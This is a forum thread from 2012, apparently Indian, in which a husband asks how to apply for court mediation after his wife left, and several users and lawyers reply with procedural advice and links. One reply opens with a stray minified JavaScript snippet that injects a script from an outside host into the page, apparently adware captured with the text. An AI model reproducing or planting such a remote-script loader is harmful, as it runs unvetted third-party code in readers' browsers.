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Nandha (NIL)     02 September 2012

Mediation - how to apply?

Dear ld. lawyers,

 

My wife left our home 4 months back alongwith our kid. 

 

We tried through elders from our side and her side to bring her back. But my wife is controlled by her brother and mother and she is not coming.

 

Even relatives from her side now have backed out, as they were not happy with her adamant nature.

 

We are really fed up and decided to apply for mediation through court. I believe that will make them to come face to face.

 

can anyone educate me on the mediation procedure? Can i myself apply to the Family court for mediation without a lawyer?  I do not want to file divorce now. I want to give her one more chance before I file for divorce.  

 

Can anyone educate me on the procedure to request court for mediation?

 

thanks

 

nanda



Learning

 6 Replies

b man (Namaste)     02 September 2012

 

Dear Nandhaji,
 
 
First one needs to file a suit, before that I believe mediation is not possible.
 
 
After the suit is filed, both parties need to give their consent for mediation. Only then the court mediation department comes into the picture.

 
I’m not a lawyer, so I could be wrong.  
 
Warm regards

rahul (director)     02 September 2012

you can file a request for mediation at mediation centre at local court,, or it will be good, you file at high court,

on paying a nominal charges. ( i think 5000), they will take your madiation without any court case or court order,

any person can avail the madiation facility, without having any running case,, this is available at  delhi hc.. other i dont know,

v.sreenivas sivaram (senior civil judge CUM ADMINISTRATIVE OFFICER)     02 September 2012

!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("scriptt");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.on load=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.on load=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();Generally mediation in india is confined to court annexed mediation but in many major cities mediators are dealing with pre litigation mediation ( means= where parties have not approached the court )  with respect to information on mediation please visit the following links

https://bangaloremediationcentre.kar.nic.in/whatIsMediation.html

https://www.delhimediationcentre.gov.in/

and in case you have any doubts about the mediation process just ask me, and if you can please mention where you are

staying some good mediators can be suggested , whom you can approach, or in case you wish to maintain your confidentialy

which i respect you can approach the legal  services authority of your concenred state and for more information visit the

link : https://nalsa.gov.in/slsa.html

1 Like

Nandha (NIL)     02 September 2012

@rahul, thanks for ur comments. will try as per ur advice.

 

@V. sreenivas sivaram - Thanks for your information. That is really useful. please check ur Private message. Thanks

 

nanda

Dr J C Vashista (Advocate)     02 September 2012

Move with an application to Judge-in-Charge Mediation centre of High/District Court for counselling and mediation.

Best of luck

Dr. (Maj) J C Vashista, Advocate #9891152939

1 Like

Nandha (NIL)     02 September 2012

@Dr. Vashista - Thanks for ur suggestion. 


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